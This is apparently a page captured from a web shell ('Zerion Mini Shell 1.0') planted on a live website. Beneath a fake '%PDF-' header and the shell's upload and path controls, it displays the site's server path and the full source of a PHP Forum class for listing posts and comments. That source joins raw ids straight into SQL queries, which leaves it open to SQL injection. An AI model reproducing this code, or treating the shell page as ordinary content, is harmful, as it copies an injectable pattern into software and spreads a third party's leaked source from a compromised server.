%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/alliance/domains/sedl.alnetis.fr/public_html/inc/classes/
Upload File :
Create Path :
Current File : /home/alliance/domains/sedl.alnetis.fr/public_html/inc/classes/Forum.php

<?php

class Forum extends Load {

	var $bd;
	var $language;
	var $clef_primaire;
var $nom_table="forum";

	function __construct($connection) {
		parent::__construct();
		$this->clef_primaire='id_'.$this->nom_table;
		$this->bd = new BaseOps($connection);
		$this->section = new Section($connection);
		$this->pays = new Pays($connection);
		$this->language = new Lang($connection);
	}
	
	
	function liste_posts($limit=false, $debut = 0) {
		$query = "SELECT * FROM `forum_post`";
		$query .= " ORDER BY lastmod DESC";
		if($limit) $query .= " LIMIT ".$debut.", ".$limit;
		if( $this->bd->isres($query) )
		{
			$result = $this->bd->q($query);
			$nb = 0;
			while( $data = mysql_fetch_assoc($result)) {
				$user = $this->get_user($data['user']);
				if($user) {
					if($user['type'] == 2 && $user['section'] == 0) {
						// Utilisateur admin
						$flag = "images/sedlicon.png";
						$nompart = $this->language->lg('sedl');
						$urlpart = null;
					} else {
						// Utilisateur section
						$sectionforum = $this->section->aff_section($user['section']);
						$paysforum = $this->pays->getUnPays($sectionforum['pays'], $this->language->getlangid());
						$flag = 'images/icons/'.strtolower($paysforum['code_iso']).'.png';
						$nompart = $sectionforum['titre'];
						$urlpart = $this->language->getlang().'/'.$this->section->url_section($sectionforum['id']).'/';
					}
					$tab_mois = $this->language->lg('tab_mois');
					$jour = date("j",$data['date']);
					if($jour == "1") {
						if ($this->language->getlang() == "fr") {
							$jour = $jour.'er';
						}
					}
					$dateformat = $this->language->lg('ecritle')." ".$jour." ".$tab_mois[date("n",$data['date'])]." ".date("Y",$data['date'])." ".$this->language->lg('at')." ".date("G",$data['date']).$this->language->lg('heure').date("i",$data['date']);
					$res[$nb] = array (
						'id' =>  $data['id'],
						'user' =>  $data['user'],
						'date' => $data['date'],
						'lastmod' => $data['lastmod'],
						'lien' => $data['lien'],
						'photo' => $data['photo'],
						'titre' => $data['titre'],
						'texte' => $data['texte'],
						'usertype' => $user['type'],
						'flag' => $flag,
						'nompart' => $nompart,
						'urlpart' => $urlpart,
						'urlpart' => $urlpart,
						'dateformat' => $dateformat
						);
					$nb++;
				}
			}
			return $res;
		}
		else return null;
	}
	

	function liste_comments($post, $parent=false , $allchildren=false) {
		$query = "SELECT * FROM `forum_comment` WHERE post = ".$post;
		if(!$allchildren) {
			if($parent) $query .= " AND parent = ".$parent;
			else $query .= " AND parent IS NULL";
		}
		$query .= " ORDER BY date ASC";
		if( $this->bd->isres($query) )
		{
			$result = $this->bd->q($query);
			$nb = 0;
			while( $data = mysql_fetch_assoc($result)) {
				$user = $this->get_user($data['user']);
				if($user) {
					if($user['type'] == 2 && $user['section'] == 0) {
						// Utilisateur admin
						$flag = "images/sedlicon.png";
						$nompart = $this->language->lg('sedl');
						$urlpart = null;
					} else {
						// Utilisateur section
						$sectionforum = $this->section->aff_section($user['section']);
						$paysforum = $this->pays->getUnPays($sectionforum['pays'], $this->language->getlangid());
						$flag = 'images/icons/'.strtolower($paysforum['code_iso']).'.png';
						$nompart = $sectionforum['titre'];
						$urlpart = $this->language->getlang().'/'.$this->section->url_section($sectionforum['id']).'/';
					}
					$tab_mois = $this->language->lg('tab_mois');
					$jour = date("j",$data['date']);
					if($jour == "1") {
						if ($this->language->getlang() == "fr") {
							$jour = $jour.'er';
						}
					}
					$dateformat = $this->language->lg('ecritle')." ".$jour." ".$tab_mois[date("n",$data['date'])]." ".date("Y",$data['date'])." ".$this->language->lg('at')." ".date("G",$data['date']).$this->language->lg('heure').date("i",$data['date']);
					$res[$nb] = array (
						'id' =>  $data['id'],
						'user' =>  $data['user'],
						'date' => $data['date'],
						'texte' => $data['texte'],
						'usertype' => $user['type'],
						'flag' => $flag,
						'nompart' => $nompart,
						'urlpart' => $urlpart,
						'urlpart' => $urlpart,
						'dateformat' => $dateformat
						);
					$nb++;
				}
			}
			return $res;
		}
		else return null;
	}
	

	function get_comment($comment) {
		$query = "SELECT * FROM `forum_comment` WHERE id = ".$comment;
		if( $this->bd->isres($query) )
		{
			$result = $this->bd->q($query);
			$data = $this->bd->select_array($query);
			$user = $this->get_user($data['user']);
			if($user) {
				if($user['type'] == 2 && $user['section'] == 0) {
					// Utilisateur admin
					$flag = "images/sedlicon.png";
					$nompart = $this->language->lg('sedl');
					$urlpart = null;
				} else {
					// Utilisateur section
					$sectionforum = $this->section->aff_section($user['section']);
					$paysforum = $this->pays->getUnPays($sectionforum['pays'], $this->language->getlangid());
					$flag = 'images/icons/'.strtolower($paysforum['code_iso']).'.png';
					$nompart = $sectionforum['titre'];
					$urlpart = $this->language->getlang().'/'.$this->section->url_section($sectionforum['id']).'/';
				}
				$tab_mois = $this->language->lg('tab_mois');
				$jour = date("j",$data['date']);
				if($jour == "1") {
					if ($this->language->getlang() == "fr") {
						$jour = $jour.'er';
					}
				}
				$dateformat = $this->language->lg('ecritle')." ".$jour." ".$tab_mois[date("n",$data['date'])]." ".date("Y",$data['date'])." ".$this->language->lg('at')." ".date("G",$data['date']).$this->language->lg('heure').date("i",$data['date']);
				$res = array (
					'id' =>  $data['id'],
					'user' =>  $data['user'],
					'date' => $data['date'],
					'texte' => $data['texte'],
					'usertype' => $user['type'],
					'flag' => $flag,
					'nompart' => $nompart,
					'urlpart' => $urlpart,
					'urlpart' => $urlpart,
					'dateformat' => $dateformat
					);
				return $res;
			}
		}
		else return null;
	}

	function sec_user($user) {
		$query = "SELECT * FROM `user` WHERE id = ".$user;
		$data = $this->bd->select_array($query);
		return $data['section'];
	}

	function get_user($user) {
		$query = "SELECT * FROM `user` WHERE id = ".$user;
		$data = $this->bd->select_array($query);
		return $data;
	}
	
	
	function suppr_photo($actu, $num) {
		$query = "SELECT * FROM `actu` WHERE id =".$actu;
		$data = $this->bd->select_array($query);
		if($data['photo'.$num] != null && file_exists("uploads/".$data['photo'.$num]))
		{
			unlink("uploads/".$data['photo'.$num]);
		}
	}
}

?>

Zerion Mini Shell 1.0